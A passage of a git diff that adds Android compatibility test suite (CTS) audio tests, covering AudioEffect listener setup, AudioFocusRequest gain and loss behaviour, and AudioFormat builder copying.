+                mEffect2 = new AudioEffect(AudioEffect.EFFECT_TYPE_PRESET_REVERB,
+                        AudioEffect.EFFECT_TYPE_NULL,
+                        0,
+                        0);
+                assertNotNull("could not create Equalizer2", mEffect2);
+
+                synchronized(mLock) {
+                    if (mControl) {
+                        mEffect2.setControlStatusListener(
+                                new AudioEffect.OnControlStatusChangeListener() {
+                            public void onControlStatusChange(
+                                    AudioEffect effect, boolean controlGranted) {
+                                synchronized(mLock) {
+                                    if (effect == mEffect2) {
+                                        mHasControl = controlGranted;
+                                        mLock.notify();
+                                    }
+                                }
+                            }
+                        });
+                    }
+                    if (mEnable) {
+                        mEffect2.setEnableStatusListener(
+                                new AudioEffect.OnEnableStatusChangeListener() {
+                            public void onEnableStatusChange(AudioEffect effect, boolean enabled) {
+                                synchronized(mLock) {
+                                    if (effect == mEffect2) {
+                                        mIsEnabled = enabled;
+                                        mLock.notify();
+                                    }
+                                }
+                            }
+                        });
+                    }
+                    if (mParameter) {
+                        mEffect2.setParameterListener(new AudioEffect.OnParameterChangeListener() {
+                            public void onParameterChange(AudioEffect effect, int status, byte[] param,
+                                    byte[] value)
+                            {
+                                synchronized(mLock) {
+                                    if (effect == mEffect2) {
+                                        mChangedParameter = mEffect2.byteArrayToInt(param);
+                                        mLock.notify();
+                                    }
+                                }
+                            }
+                        });
+                    }
+                    mInitialized = true;
+                    mLock.notify();
+                }
+                Looper.loop();  // Blocks forever until Looper.quit() is called.
+            }
+        };
+        mEffectListenerLooper.start();
+    }
+
+    // Terminates the listener looper thread.
+    private void terminateListenerLooper() {
+        if (mEffectListenerLooper != null) {
+            mEffectListenerLooper.cleanUp();
+            if (mLooper != null) {
+                mLooper.quit();
+                mLooper = null;
+            }
+            try {
+                mEffectListenerLooper.join();
+            } catch(InterruptedException e) {
+            }
+            mEffectListenerLooper = null;
+        }
+        if (mEffect2 != null) {
+            mEffect2.release();
+            mEffect2 = null;
+        }
+    }
+
+    /*
+     * Initializes the message looper so that the MediaPlayer object can
+     * receive the callback messages.
+     */
+    private void createMediaPlayerLooper() {
+        new Thread() {
+            @Override
+            public void run() {
+                // Set up a looper to be used by mMediaPlayer.
+                Looper.prepare();
+
+                // Save the looper so that we can terminate this thread
+                // after we are done with it.
+                mLooper = Looper.myLooper();
+
+                mMediaPlayer = new MediaPlayer();
+
+                synchronized(mLock) {
+                    mMediaPlayer.setOnErrorListener(new MediaPlayer.OnErrorListener() {
+                        public boolean onError(MediaPlayer player, int what, int extra) {
+                            synchronized(mLock) {
+                                mError = what;
+                                mLock.notify();
+                            }
+                            return true;
+                        }
+                    });
+                    mMediaPlayer.setOnCompletionListener(new MediaPlayer.OnCompletionListener() {
+                        public void onCompletion(MediaPlayer player) {
+                            synchronized(mLock) {
+                                mLock.notify();
+                            }
+                        }
+                    });
+                    mInitialized = true;
+                    mLock.notify();
+                }
+                Looper.loop();  // Blocks forever until Looper.quit() is called.
+            }
+        }.start();
+    }
+    /*
+     * Terminates the message looper thread.
+     */
+    private void terminateMediaPlayerLooper() {
+        if (mLooper != null) {
+            mLooper.quit();
+            mLooper = null;
+        }
+        if (mMediaPlayer != null) {
+            mMediaPlayer.release();
+        }
+    }
+
+}
diff --git a/tests/tests/media/audio/src/android/media/audio/cts/AudioFocusTest.java b/tests/tests/media/audio/src/android/media/audio/cts/AudioFocusTest.java
new file mode 100644
index 0000000..f84e680
--- /dev/null
+++ b/tests/tests/media/audio/src/android/media/audio/cts/AudioFocusTest.java
@@ -0,0 +1,589 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.audio.cts;
+
+import android.Manifest;
+import android.annotation.Nullable;
+import android.annotation.RawRes;
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.content.res.AssetFileDescriptor;
+import android.media.AudioAttributes;
+import android.media.AudioFocusRequest;
+import android.media.AudioManager;
+import android.media.AudioManager.OnAudioFocusChangeListener;
+import android.media.MediaPlayer;
+import android.media.audio.cts.R;
+import android.media.cts.NonMediaMainlineTest;
+import android.media.cts.TestUtils;
+import android.os.Build;
+import android.os.Handler;
+import android.os.HandlerThread;
+import android.util.Log;
+
+import com.android.compatibility.common.util.CtsAndroidTestCase;
+
+@NonMediaMainlineTest
+public class AudioFocusTest extends CtsAndroidTestCase {
+    private static final String TAG = "AudioFocusTest";
+
+    private static final int TEST_TIMING_TOLERANCE_MS = 100;
+    private static final long MEDIAPLAYER_PREPARE_TIMEOUT_MS = 2000;
+
+    private static final AudioAttributes ATTR_DRIVE_DIR = new AudioAttributes.Builder()
+            .setUsage(AudioAttributes.USAGE_ASSISTANCE_NAVIGATION_GUIDANCE)
+            .setContentType(AudioAttributes.CONTENT_TYPE_SPEECH)
+            .build();
+    private static final AudioAttributes ATTR_MEDIA = new AudioAttributes.Builder()
+            .setUsage(AudioAttributes.USAGE_MEDIA)
+            .setContentType(AudioAttributes.CONTENT_TYPE_MUSIC)
+            .build();
+    private static final AudioAttributes ATTR_A11Y = new AudioAttributes.Builder()
+            .setUsage(AudioAttributes.USAGE_ASSISTANCE_ACCESSIBILITY)
+            .setContentType(AudioAttributes.CONTENT_TYPE_SPEECH)
+            .build();
+
+
+    public void testInvalidAudioFocusRequestDelayNoListener() throws Exception {
+        AudioFocusRequest req = null;
+        Exception ex = null;
+        try {
+            req = new AudioFocusRequest.Builder(AudioManager.AUDIOFOCUS_GAIN)
+                    .setAcceptsDelayedFocusGain(true).build();
+        } catch (Exception e) {
+            // expected
+            ex = e;
+        }
+        assertNotNull("No exception was thrown for an invalid build", ex);
+        assertEquals("Wrong exception thrown", ex.getClass(), IllegalStateException.class);
+        assertNull("Shouldn't be able to create delayed request without listener", req);
+    }
+
+    public void testInvalidAudioFocusRequestPauseOnDuckNoListener() throws Exception {
+        AudioFocusRequest req = null;
+        Exception ex = null;
+        try {
+            req = new AudioFocusRequest.Builder(AudioManager.AUDIOFOCUS_GAIN)
+                    .setWillPauseWhenDucked(true).build();
+        } catch (Exception e) {
+            // expected
+            ex = e;
+        }
+        assertNotNull("No exception was thrown for an invalid build", ex);
+        assertEquals("Wrong exception thrown", ex.getClass(), IllegalStateException.class);
+        assertNull("Shouldn't be able to create pause-on-duck request without listener", req);
+    }
+
+    public void testAudioFocusRequestBuilderDefault() throws Exception {
+        final AudioFocusRequest reqDefaults =
+                new AudioFocusRequest.Builder(AudioManager.AUDIOFOCUS_GAIN).build();
+        assertEquals("Focus gain differs", AudioManager.AUDIOFOCUS_GAIN,
+                reqDefaults.getFocusGain());
+        assertEquals("Listener differs", null, reqDefaults.getOnAudioFocusChangeListener());
+        assertEquals("Handler differs", null, reqDefaults.getOnAudioFocusChangeListenerHandler());
+        assertEquals("Duck behavior differs", false, reqDefaults.willPauseWhenDucked());
+        assertEquals("Delayed focus differs", false, reqDefaults.acceptsDelayedFocusGain());
+    }
+
+
+    public void testAudioFocusRequestCopyBuilder() throws Exception {
+        final FocusChangeListener focusListener = new FocusChangeListener();
+        final int focusGain = AudioManager.AUDIOFOCUS_GAIN_TRANSIENT_MAY_DUCK;
+        final AudioFocusRequest reqToCopy =
+                new AudioFocusRequest.Builder(focusGain)
+                .setAudioAttributes(ATTR_DRIVE_DIR)
+                .setOnAudioFocusChangeListener(focusListener)
+                .setAcceptsDelayedFocusGain(true)
+                .setWillPauseWhenDucked(true)
+                .build();
+
+        AudioFocusRequest newReq = new AudioFocusRequest.Builder(reqToCopy).build();
+        assertEquals("AudioAttributes differ", ATTR_DRIVE_DIR, newReq.getAudioAttributes());
+        assertEquals("Listener differs", focusListener, newReq.getOnAudioFocusChangeListener());
+        assertEquals("Focus gain differs", focusGain, newReq.getFocusGain());
+        assertEquals("Duck behavior differs", true, newReq.willPauseWhenDucked());
+        assertEquals("Delayed focus differs", true, newReq.acceptsDelayedFocusGain());
+
+        newReq = new AudioFocusRequest.Builder(reqToCopy)
+                .setWillPauseWhenDucked(false)
+                .setFocusGain(AudioManager.AUDIOFOCUS_GAIN)
+                .build();
+        assertEquals("AudioAttributes differ", ATTR_DRIVE_DIR, newReq.getAudioAttributes());
+        assertEquals("Listener differs", focusListener, newReq.getOnAudioFocusChangeListener());
+        assertEquals("Focus gain differs", AudioManager.AUDIOFOCUS_GAIN, newReq.getFocusGain());
+        assertEquals("Duck behavior differs", false, newReq.willPauseWhenDucked());
+        assertEquals("Delayed focus differs", true, newReq.acceptsDelayedFocusGain());
+    }
+
+    public void testNullListenerHandlerNpe() throws Exception {
+        final AudioFocusRequest.Builder afBuilder =
+                new AudioFocusRequest.Builder(AudioManager.AUDIOFOCUS_GAIN);
+        try {
+            afBuilder.setOnAudioFocusChangeListener(null);
+            fail("no NPE when setting a null listener");
+        } catch (NullPointerException e) {
+        }
+
+        final HandlerThread handlerThread = new HandlerThread(TAG);
+        handlerThread.start();
+        final Handler h = new Handler(handlerThread.getLooper());
+        final AudioFocusRequest.Builder afBuilderH =
+                new AudioFocusRequest.Builder(AudioManager.AUDIOFOCUS_GAIN);
+        try {
+            afBuilderH.setOnAudioFocusChangeListener(null, h);
+            fail("no NPE when setting a null listener with non-null Handler");
+        } catch (NullPointerException e) {
+        }
+
+        final AudioFocusRequest.Builder afBuilderL =
+                new AudioFocusRequest.Builder(AudioManager.AUDIOFOCUS_GAIN);
+        try {
+            afBuilderL.setOnAudioFocusChangeListener(new FocusChangeListener(), null);
+            fail("no NPE when setting a non-null listener with null Handler");
+        } catch (NullPointerException e) {
+        }
+    }
+
+    public void testAudioFocusRequestGainLoss() throws Exception {
+        final AudioAttributes[] attributes = { ATTR_DRIVE_DIR, ATTR_MEDIA };
+        doTestTwoPlayersGainLoss(AudioManager.AUDIOFOCUS_GAIN, attributes, false /*no handler*/);
+    }
+
+    public void testAudioFocusRequestGainLossHandler() throws Exception {
+        final AudioAttributes[] attributes = { ATTR_DRIVE_DIR, ATTR_MEDIA };
+        doTestTwoPlayersGainLoss(AudioManager.AUDIOFOCUS_GAIN, attributes, true /*with handler*/);
+    }
+
+
+    public void testAudioFocusRequestGainLossTransient() throws Exception {
+        final AudioAttributes[] attributes = { ATTR_DRIVE_DIR, ATTR_MEDIA };
+        doTestTwoPlayersGainLoss(AudioManager.AUDIOFOCUS_GAIN_TRANSIENT, attributes,
+                false /*no handler*/);
+    }
+
+    public void testAudioFocusRequestGainLossTransientHandler() throws Exception {
+        final AudioAttributes[] attributes = { ATTR_DRIVE_DIR, ATTR_MEDIA };
+        doTestTwoPlayersGainLoss(AudioManager.AUDIOFOCUS_GAIN_TRANSIENT, attributes,
+                true /*with handler*/);
+    }
+
+    public void testAudioFocusRequestGainLossTransientDuck() throws Exception {
+        if (hasAutomotiveFeature(getContext())) {
+            Log.i(TAG,"Test testAudioFocusRequestGainLossTransientDuck "
+                    + "skipped: not required for Auto platform");
+            return;
+        }
+
+        final AudioAttributes[] attributes = { ATTR_DRIVE_DIR, ATTR_MEDIA };
+        doTestTwoPlayersGainLoss(AudioManager.AUDIOFOCUS_GAIN_TRANSIENT_MAY_DUCK, attributes,
+                false /*no handler*/);
+    }
+
+    public void testAudioFocusRequestGainLossTransientDuckHandler() throws Exception {
+        if (hasAutomotiveFeature(getContext())) {
+            Log.i(TAG,"Test testAudioFocusRequestGainLossTransientDuckHandler "
+                    + "skipped: not required for Auto platform");
+            return;
+        }
+
+        final AudioAttributes[] attributes = { ATTR_DRIVE_DIR, ATTR_MEDIA };
+        doTestTwoPlayersGainLoss(AudioManager.AUDIOFOCUS_GAIN_TRANSIENT_MAY_DUCK, attributes,
+                true /*with handler*/);
+    }
+
+    public void testAudioFocusRequestForceDuckNotA11y() throws Exception {
+        if (hasAutomotiveFeature(getContext())) {
+            Log.i(TAG,"Test testAudioFocusRequestForceDuckNotA11y "
+                    + "skipped: not required for Auto platform");
+            return;
+        }
+
+        // verify a request that is "force duck"'d still causes loss of focus because it doesn't
+        // come from an A11y service, and requests are from same uid
+        final AudioAttributes[] attributes = {ATTR_MEDIA, ATTR_A11Y};
+        doTestTwoPlayersGainLoss(AudioManager.AUDIOFOCUS_GAIN_TRANSIENT_MAY_DUCK, attributes,
+                false /*no handler*/, true /* forceDucking */);
+    }
+
+    /**
+     * Determine if automotive feature is available
+     * @param context context to query
+     * @return true if automotive feature is available
+     */
+    private static boolean hasAutomotiveFeature(Context context) {
+        return context.getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE);
+    }
+
+    /**
+     * Test delayed focus loss after fade out
+     * @throws Exception
+     */
+    public void testAudioFocusRequestMediaGainLossWithPlayer() throws Exception {
+        if (hasAutomotiveFeature(getContext())) {
+            Log.i(TAG, "Test testAudioFocusRequestMediaGainLossWithPlayer "
+                    + "skipped: not required for Auto platform");
+            return;
+        }
+
+        // for query of fade out duration and focus request/abandon test methods
+        getInstrumentation().getUiAutomation().adoptShellPermissionIdentity(
+                Manifest.permission.QUERY_AUDIO_STATE);
+
+        final int NB_FOCUS_OWNERS = 2;
+        final AudioFocusRequest[] focusRequests = new AudioFocusRequest[NB_FOCUS_OWNERS];
+        final FocusChangeListener[] focusListeners = new FocusChangeListener[NB_FOCUS_OWNERS];
+        final int FOCUS_UNDER_TEST = 0;// index of focus owner to be tested
+        final int FOCUS_SIMULATED = 1; // index of focus requester used to simulate a request coming
+                                       //   from another client on a different UID than CTS
+
+        final HandlerThread handlerThread = new HandlerThread(TAG);
+        handlerThread.start();
+        final Handler handler = new Handler(handlerThread.getLooper());
+
+        final AudioAttributes mediaAttributes = new AudioAttributes.Builder()
+                .setUsage(AudioAttributes.USAGE_MEDIA)
+                .build();
+        for (int focusIndex : new int[]{ FOCUS_UNDER_TEST, FOCUS_SIMULATED }) {
+            focusListeners[focusIndex] = new FocusChangeListener();
+            focusRequests[focusIndex] = new AudioFocusRequest.Builder(AudioManager.AUDIOFOCUS_GAIN)
+                    .setAudioAttributes(mediaAttributes)
+                    .setOnAudioFocusChangeListener(focusListeners[focusIndex], handler)
+                    .build();
+        }
+        final AudioManager am = new AudioManager(getContext());
+
+        MediaPlayer mp = null;
+        final String simFocusClientId = "fakeClientId";
+        try {
+            // set up the test conditions: a focus owner is playing media on a MediaPlayer
+            mp = createPreparedMediaPlayer(R.raw.sine1khzs40dblong, mediaAttributes);
+            int res = am.requestAudioFocus(focusRequests[FOCUS_UNDER_TEST]);
+            assertEquals("real focus request failed",
+                    AudioManager.AUDIOFOCUS_REQUEST_GRANTED, res);
+            mp.start();
+            Thread.sleep(TEST_TIMING_TOLERANCE_MS);
+            final long fadeDuration = am.getFadeOutDurationOnFocusLossMillis(mediaAttributes);
+            Log.i(TAG, "using fade out duration = " + fadeDuration);
+
+            res = am.requestAudioFocusForTest(focusRequests[FOCUS_SIMULATED],
+                    simFocusClientId, Integer.MAX_VALUE /*fakeClientUid*/, Build.VERSION_CODES.S);
+            assertEquals("test focus request failed",
+                    AudioManager.AUDIOFOCUS_REQUEST_GRANTED, res);
+
+            if (fadeDuration > 0) {
+                assertEquals("Focus loss dispatched too early", AudioManager.AUDIOFOCUS_NONE,
+                        focusListeners[FOCUS_UNDER_TEST].getFocusChangeAndReset());
+                // TODO refactor FocusListener to use Monitor instead of sleeping here
+                Thread.sleep(fadeDuration);
+            }
+            Thread.sleep(TEST_TIMING_TOLERANCE_MS);
+            assertEquals("Focus loss not dispatched", AudioManager.AUDIOFOCUS_LOSS,
+                    focusListeners[FOCUS_UNDER_TEST].getFocusChangeAndReset());
+
+        }
+        finally {
+            handler.getLooper().quit();
+            handlerThread.quitSafely();
+            if (mp != null) {
+                mp.release();
+            }
+            am.abandonAudioFocusForTest(focusRequests[FOCUS_SIMULATED], simFocusClientId);
+            am.abandonAudioFocusRequest(focusRequests[FOCUS_UNDER_TEST]);
+            getInstrumentation().getUiAutomation().dropShellPermissionIdentity();
+        }
+    }
+
+    /**
+     * Test there is no delayed focus loss when focus loser is playing speech
+     * @throws Exception
+     */
+    public void testAudioFocusRequestMediaGainLossWithSpeechPlayer() throws Exception {
+        if (hasAutomotiveFeature(getContext())) {
+            Log.i(TAG, "Test testAudioFocusRequestMediaGainLossWithSpeechPlayer "
+                    + "skipped: not required for Auto platform");
+            return;
+        }
+        doTwoFocusOwnerOnePlayerFocusLoss(
+                true /*playSpeech*/,
+                false /*speechFocus*/,
+                false /*pauseOnDuck*/);
+    }
+
+    /**
+     * Test there is no delayed focus loss when focus loser had requested focus with
+     * AudioAttributes with speech content type
+     * @throws Exception
+     */
+    public void testAudioFocusRequestMediaGainLossWithSpeechFocusRequest() throws Exception {
+        if (hasAutomotiveFeature(getContext())) {
+            Log.i(TAG, "Test testAudioFocusRequestMediaGainLossWithSpeechPlayer "
+                    + "skipped: not required for Auto platform");
+            return;
+        }
+        doTwoFocusOwnerOnePlayerFocusLoss(
+                false /*playSpeech*/,
+                true /*speechFocus*/,
+                false /*pauseOnDuck*/);
+    }
+
+    /**
+     * Test there is no delayed focus loss when focus loser had requested focus specifying
+     * it pauses on duck
+     * @throws Exception
+     */
+    public void testAudioFocusRequestMediaGainLossWithPauseOnDuckFocusRequest() throws Exception {
+        if (hasAutomotiveFeature(getContext())) {
+            Log.i(TAG, "Test testAudioFocusRequestMediaGainLossWithSpeechPlayer "
+                    + "skipped: not required for Auto platform");
+            return;
+        }
+        doTwoFocusOwnerOnePlayerFocusLoss(
+                false /*playSpeech*/,
+                false /*speechFocus*/,
+                true /*pauseOnDuck*/);
+    }
+
+    private void doTwoFocusOwnerOnePlayerFocusLoss(boolean playSpeech, boolean speechFocus,
+            boolean pauseOnDuck) throws Exception {
+        // for query of fade out duration and focus request/abandon test methods
+        getInstrumentation().getUiAutomation().adoptShellPermissionIdentity(
+                Manifest.permission.QUERY_AUDIO_STATE);
+
+        final int NB_FOCUS_OWNERS = 2;
+        final AudioFocusRequest[] focusRequests = new AudioFocusRequest[NB_FOCUS_OWNERS];
+        final FocusChangeListener[] focusListeners = new FocusChangeListener[NB_FOCUS_OWNERS];
+        // index of focus owner to be tested, has an active player
+        final int FOCUS_UNDER_TEST = 0;
+        // index of focus requester used to simulate a request coming from another client
+        // on a different UID than CTS
+        final int FOCUS_SIMULATED = 1;
+
+        final HandlerThread handlerThread = new HandlerThread(TAG);
+        handlerThread.start();
+        final Handler handler = new Handler(handlerThread.getLooper());
+
+        final AudioAttributes focusAttributes = new AudioAttributes.Builder()
+                .setUsage(AudioAttributes.USAGE_MEDIA)
+                .setContentType(playSpeech ? AudioAttributes.CONTENT_TYPE_SPEECH
+                        : AudioAttributes.CONTENT_TYPE_MUSIC)
+                .build();
+        final AudioAttributes playerAttributes = new AudioAttributes.Builder()
+                .setUsage(AudioAttributes.USAGE_MEDIA)
+                .setContentType(speechFocus ? AudioAttributes.CONTENT_TYPE_SPEECH
+                        : AudioAttributes.CONTENT_TYPE_MUSIC)
+                .build();
+        for (int focusIndex : new int[]{ FOCUS_UNDER_TEST, FOCUS_SIMULATED }) {
+            focusListeners[focusIndex] = new FocusChangeListener();
+            focusRequests[focusIndex] = new AudioFocusRequest.Builder(AudioManager.AUDIOFOCUS_GAIN)
+                    .setAudioAttributes(focusIndex == FOCUS_UNDER_TEST ? playerAttributes
+                            : focusAttributes)
+                    .setWillPauseWhenDucked(pauseOnDuck)
+                    .setOnAudioFocusChangeListener(focusListeners[focusIndex], handler)
+                    .build();
+        }
+        final AudioManager am = new AudioManager(getContext());
+
+        MediaPlayer mp = null;
+        final String simFocusClientId = "fakeClientId";
+        try {
+            // set up the test conditions: a focus owner is playing media on a MediaPlayer
+            mp = createPreparedMediaPlayer(R.raw.sine1khzs40dblong, playerAttributes);
+            int res = am.requestAudioFocus(focusRequests[FOCUS_UNDER_TEST]);
+            assertEquals("real focus request failed",
+                    AudioManager.AUDIOFOCUS_REQUEST_GRANTED, res);
+            mp.start();
+            Thread.sleep(TEST_TIMING_TOLERANCE_MS);
+
+            res = am.requestAudioFocusForTest(focusRequests[FOCUS_SIMULATED],
+                    simFocusClientId, Integer.MAX_VALUE /*fakeClientUid*/, Build.VERSION_CODES.S);
+            assertEquals("test focus request failed",
+                    AudioManager.AUDIOFOCUS_REQUEST_GRANTED, res);
+
+            Thread.sleep(TEST_TIMING_TOLERANCE_MS);
+            assertEquals("Focus loss not dispatched", AudioManager.AUDIOFOCUS_LOSS,
+                    focusListeners[FOCUS_UNDER_TEST].getFocusChangeAndReset());
+
+        }
+        finally {
+            handler.getLooper().quit();
+            handlerThread.quitSafely();
+            if (mp != null) {
+                mp.release();
+            }
+            am.abandonAudioFocusForTest(focusRequests[FOCUS_SIMULATED], simFocusClientId);
+            am.abandonAudioFocusRequest(focusRequests[FOCUS_UNDER_TEST]);
+            getInstrumentation().getUiAutomation().dropShellPermissionIdentity();
+        }
+    }
+    //-----------------------------------
+    // Test utilities
+
+    /**
+     * Test focus request and abandon between two focus owners
+     * @param gainType focus gain of the focus owner on top (== 2nd focus requester)
+     */
+    private void doTestTwoPlayersGainLoss(int gainType, AudioAttributes[] attributes,
+            boolean useHandlerInListener) throws Exception {
+        doTestTwoPlayersGainLoss(gainType, attributes, useHandlerInListener,
+                false /*forceDucking*/);
+    }
+
+    /**
+     * Same as {@link #doTestTwoPlayersGainLoss(int, AudioAttributes[], boolean)} with forceDucking
+     *   set to false.
+     * @param gainType
+     * @param attributes
+     * @param useHandlerInListener
+     * @param forceDucking value used for setForceDucking in request for focus requester at top of
+     *   stack (second requester in test).
+     * @throws Exception
+     */
+    private void doTestTwoPlayersGainLoss(int gainType, AudioAttributes[] attributes,
+            boolean useHandlerInListener, boolean forceDucking) throws Exception {
+        final int NB_FOCUS_OWNERS = 2;
+        if (NB_FOCUS_OWNERS != attributes.length) {
+            throw new IllegalArgumentException("Invalid test: invalid number of attributes");
+        }
+        final AudioFocusRequest[] focusRequests = new AudioFocusRequest[NB_FOCUS_OWNERS];
+        final FocusChangeListener[] focusListeners = new FocusChangeListener[NB_FOCUS_OWNERS];
+        final int[] focusGains = { AudioManager.AUDIOFOCUS_GAIN, gainType };
+        int expectedLoss = 0;
+        switch (gainType) {
+            case AudioManager.AUDIOFOCUS_GAIN:
+                expectedLoss = AudioManager.AUDIOFOCUS_LOSS;
+                break;
+            case AudioManager.AUDIOFOCUS_GAIN_TRANSIENT:
+                expectedLoss = AudioManager.AUDIOFOCUS_LOSS_TRANSIENT;
+                break;
+            case AudioManager.AUDIOFOCUS_GAIN_TRANSIENT_MAY_DUCK:
+                expectedLoss = AudioManager.AUDIOFOCUS_LOSS_TRANSIENT_CAN_DUCK;
+                break;
+            default:
+                fail("invalid focus gain used in test");
+        }
+        final AudioManager am = new AudioManager(getContext());
+
+        final Handler h;
+        if (useHandlerInListener) {
+            HandlerThread handlerThread = new HandlerThread(TAG);
+            handlerThread.start();
+            h = new Handler(handlerThread.getLooper());
+        } else {
+            h = null;
+        }
+
+        try {
+            for (int i = 0 ; i < NB_FOCUS_OWNERS ; i++) {
+                focusListeners[i] = new FocusChangeListener();
+                final boolean forceDuck = i == NB_FOCUS_OWNERS - 1 ? forceDucking : false;
+                if (h != null) {
+                    focusRequests[i] = new AudioFocusRequest.Builder(focusGains[i])
+                            .setAudioAttributes(attributes[i])
+                            .setOnAudioFocusChangeListener(focusListeners[i], h /*handler*/)
+                            .setForceDucking(forceDuck)
+                            .build();
+                } else {
+                    focusRequests[i] = new AudioFocusRequest.Builder(focusGains[i])
+                            .setAudioAttributes(attributes[i])
+                            .setOnAudioFocusChangeListener(focusListeners[i])
+                            .setForceDucking(forceDuck)
+                            .build();
+                }
+            }
+
+            // focus owner 0 requests focus with GAIN,
+            // then focus owner 1 requests focus with gainType
+            // then 1 abandons focus, then 0 abandons focus
+            int res = am.requestAudioFocus(focusRequests[0]);
+            assertEquals("1st focus request failed",
+                    AudioManager.AUDIOFOCUS_REQUEST_GRANTED, res);
+            res = am.requestAudioFocus(focusRequests[1]);
+            assertEquals("2nd focus request failed", AudioManager.AUDIOFOCUS_REQUEST_GRANTED, res);
+            Thread.sleep(TEST_TIMING_TOLERANCE_MS);
+            assertEquals("Focus loss not dispatched", expectedLoss,
+                    focusListeners[0].getFocusChangeAndReset());
+            res = am.abandonAudioFocusRequest(focusRequests[1]);
+            assertEquals("1st abandon failed", AudioManager.AUDIOFOCUS_REQUEST_GRANTED, res);
+            focusRequests[1] = null;
+            Thread.sleep(TEST_TIMING_TOLERANCE_MS);
+            // when focus was lost because it was requested with GAIN, focus is not given back
+            if (gainType != AudioManager.AUDIOFOCUS_GAIN) {
+                assertEquals("Focus gain not dispatched", AudioManager.AUDIOFOCUS_GAIN,
+                        focusListeners[0].getFocusChangeAndReset());
+            } else {
+                // verify there was no focus change because focus user 0 was kicked out of stack
+                assertEquals("Focus change was dispatched", AudioManager.AUDIOFOCUS_NONE,
+                        focusListeners[0].getFocusChangeAndReset());
+            }
+            res = am.abandonAudioFocusRequest(focusRequests[0]);
+            assertEquals("2nd abandon failed", AudioManager.AUDIOFOCUS_REQUEST_GRANTED, res);
+            focusRequests[0] = null;
+        }
+        finally {
+            for (int i = 0 ; i < NB_FOCUS_OWNERS ; i++) {
+                if (focusRequests[i] != null) {
+                    am.abandonAudioFocusRequest(focusRequests[i]);
+                }
+            }
+            if (h != null) {
+                h.getLooper().quit();
+            }
+        }
+    }
+
+    private @Nullable MediaPlayer createPreparedMediaPlayer(
+            @RawRes int resID, AudioAttributes aa) throws Exception {
+        final TestUtils.Monitor onPreparedCalled = new TestUtils.Monitor();
+
+        MediaPlayer mp = new MediaPlayer();
+        mp.setAudioAttributes(aa);
+        AssetFileDescriptor afd = getContext().getResources().openRawResourceFd(resID);
+        try {
+            mp.setDataSource(afd.getFileDescriptor(), afd.getStartOffset(), afd.getLength());
+        } finally {
+            afd.close();
+        }
+        mp.setOnPreparedListener(mp1 -> onPreparedCalled.signal());
+        mp.prepare();
+        onPreparedCalled.waitForSignal(MEDIAPLAYER_PREPARE_TIMEOUT_MS);
+        assertTrue(
+                "MediaPlayer wasn't prepared in under " + MEDIAPLAYER_PREPARE_TIMEOUT_MS + " ms",
+                onPreparedCalled.isSignalled());
+        return mp;
+    }
+
+    private static class FocusChangeListener implements OnAudioFocusChangeListener {
+        private final Object mLock = new Object();
+        private int mFocusChange = AudioManager.AUDIOFOCUS_NONE;
+
+        int getFocusChangeAndReset() {
+            final int change;
+            synchronized (mLock) {
+                change = mFocusChange;
+                mFocusChange = AudioManager.AUDIOFOCUS_NONE;
+            }
+            return change;
+        }
+
+        @Override
+        public void onAudioFocusChange(int focusChange) {
+            synchronized (mLock) {
+                mFocusChange = focusChange;
+            }
+        }
+    }
+}
diff --git a/tests/tests/media/audio/src/android/media/audio/cts/AudioFormatTest.java b/tests/tests/media/audio/src/android/media/audio/cts/AudioFormatTest.java
new file mode 100644
index 0000000..6db1fa2
--- /dev/null
+++ b/tests/tests/media/audio/src/android/media/audio/cts/AudioFormatTest.java
@@ -0,0 +1,311 @@
+/*
+ * Copyright (C) 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.audio.cts;
+
+import static org.testng.Assert.assertThrows;
+
+import android.media.AudioFormat;
+import android.media.cts.NonMediaMainlineTest;
+import android.os.Parcel;
+
+import com.android.compatibility.common.util.CtsAndroidTestCase;
+
+@NonMediaMainlineTest
+public class AudioFormatTest extends CtsAndroidTestCase {
+
+    // -----------------------------------------------------------------
+    // AUDIOFORMAT TESTS:
+    // ----------------------------------
+
+    // -----------------------------------------------------------------
+    // Builder tests
+    // ----------------------------------
+
+    // Test case 1: Use Builder to duplicate an AudioFormat with all fields supplied
+    public void testBuilderForCopy() throws Exception {
+        final int TEST_ENCODING = AudioFormat.ENCODING_PCM_16BIT;
+        final int TEST_SR = 48000;
+        final int TEST_CONF_POS = AudioFormat.CHANNEL_OUT_5POINT1;
+        // 6ch, like in 5.1 above offset by a randomly chosen number
+        final int TEST_CONF_IDX = 0x3F << 3;
+
+        final AudioFormat formatToCopy = new AudioFormat.Builder()
+                .setEncoding(TEST_ENCODING).setSampleRate(TEST_SR)
+                .setChannelMask(TEST_CONF_POS).setChannelIndexMask(TEST_CONF_IDX).build();
+        assertNotNull("Failure to create the AudioFormat to copy", formatToCopy);
+
+        final AudioFormat copiedFormat = new AudioFormat.Builder(formatToCopy).build();
+        assertNotNull("Failure to create AudioFormat copy with Builder", copiedFormat);
+        assertEquals("New AudioFormat has wrong sample rate",
+                TEST_SR, copiedFormat.getSampleRate());
+        assertEquals("New AudioFormat has wrong encoding",
+                TEST_ENCODING, copiedFormat.getEncoding());
+        assertEquals("New AudioFormat has wrong channel mask",
+                TEST_CONF_POS, copiedFormat.getChannelMask());
+        assertEquals("New AudioFormat has wrong channel index mask",
+                TEST_CONF_IDX, copiedFormat.getChannelIndexMask());
+        assertEquals("New AudioFormat has wrong channel count",
+                6, copiedFormat.getChannelCount());
+        assertEquals("New AudioFormat has the wrong frame size",
+                6 /* channels */ * 2 /* bytes per sample */, copiedFormat.getFrameSizeInBytes());
